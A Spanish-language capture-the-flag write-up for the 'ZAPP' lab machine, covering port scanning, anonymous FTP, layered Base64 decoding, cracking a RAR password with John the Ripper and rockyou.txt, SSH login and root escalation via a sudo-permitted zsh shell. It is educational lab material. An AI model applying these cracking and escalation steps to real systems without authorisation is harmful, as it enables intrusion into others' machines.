Write-ups

Resolución del CTF ZAPP


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para saber cuáles están activos.

sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100

Los parámetros utilizados son:

  • -p-: Escaneo de todos los puertos (65535)
  • –open: Solo muestra puertos abiertos
  • -sCV: Combina -sC (scripts por defecto) y -sV (detección de versiones)
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              28 Oct 29 21:59 login.txt
|_-rw-r--r--    1 0        0              65 Oct 29 22:23 secret.txt
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-title: zappskred - CTF Challenge

Nos encontramos con tres puertos abiertos:

  • Puerto 21 con FTP vsftpd con login anónimo permitido y dos archivos visibles
  • Puerto 22 con SSH OpenSSH 8.4p1
  • Puerto 80 con un servidor web Apache 2.4.65 con el título «zappskred»

Servicio FTP

El escaneo reveló que el servidor FTP permite conexión anónima. Nos conectamos:

ftp 192.168.0.100

Contenido de login.txt:

puerto
4444
coffee
GoodLuck

Contenido de secret.txt:

0jO cOn 31 c4fe 813n p23p424dO, 4 v3c35 14 pista 357a 3n 14 7424

Exploración Web

Accedemos al servidor web navegando a http://192.168.0.100 y nos encontramos con una página con el título zappskred y una imagen con el texto the funny coffee.

Análisis del Código Fuente

Inspeccionamos el código fuente de la página y encontramos una línea oculta dentro de un div con display:none que contiene una cadena en Base64.

Decodificación Base64 Múltiple

La cadena parece estar codificada múltiples veces en Base64. Vamos a decodificarla:

echo "VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo=" | base64 -d

El resultado es otra cadena en Base64, así que repetimos el proceso.

Para automatizar este proceso, podemos usar el siguiente script en bash:

cadena="VjFST1YyRkhVa2xUYmxwYVRURmFiMXBGYUV0a2JWSjBWbTF3WVZkRk1VeERaejA5Q2c9PQo="
while echo "$cadena" | base64 -d &>/dev/null; do
  cadena=$(echo "$cadena" | base64 -d)
done
echo "$cadena"

Después de decodificar 4 veces obtenemos el resultado: cuatrocuatroveces

Este resultado parece ser un directorio en el servidor web.

Exploración del Directorio Oculto

Accedemos a http://192.168.0.100/cuatrocuatroveces/ y encontramos un archivo llamado Sup3rP4ss.rar disponible para descarga.

Descargamos el archivo:

wget http://192.168.0.100/cuatrocuatroveces/Sup3rP4ss.rar

Al intentar descomprimirlo, nos solicita una contraseña que desconocemos.

Fuerza Bruta sobre el Archivo RAR

Para hacer fuerza bruta sobre el RAR, primero extraemos su hash con rar2john:

rar2john Sup3rP4ss.rar > rar.hash

Usamos John The Ripper con el diccionario rockyou.txt:

john --wordlist=/usr/share/wordlists/rockyou.txt rar.hash

Una vez obtenida la contraseña, descomprimimos el archivo:

7z x Sup3rP4ss.rar

Contenido del fichero:

Intenta probar con más >> 3spuM4

Acceso SSH

Después de analizar todas las pistas, recordamos que el título de la página web era zappskred, que podría ser el nombre de usuario.

Combinamos:

  • Usuario: zappskred
  • Contraseña: 3spuM4

Intentamos conectarnos por SSH:

ssh [email protected]

Y obtenemos acceso al sistema. Una vez dentro, encontramos la primera flag en el directorio home del usuario.

Escalada de Privilegios

Verificamos qué comandos podemos ejecutar como root:

sudo -l

Vemos que podemos ejecutar /bin/zsh como root sin necesidad de contraseña.

Al consultar GTFOBins vemos que si tenemos permiso sudo, simplemente ejecutamos:

sudo /bin/zsh

Y nos convertimos en root.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *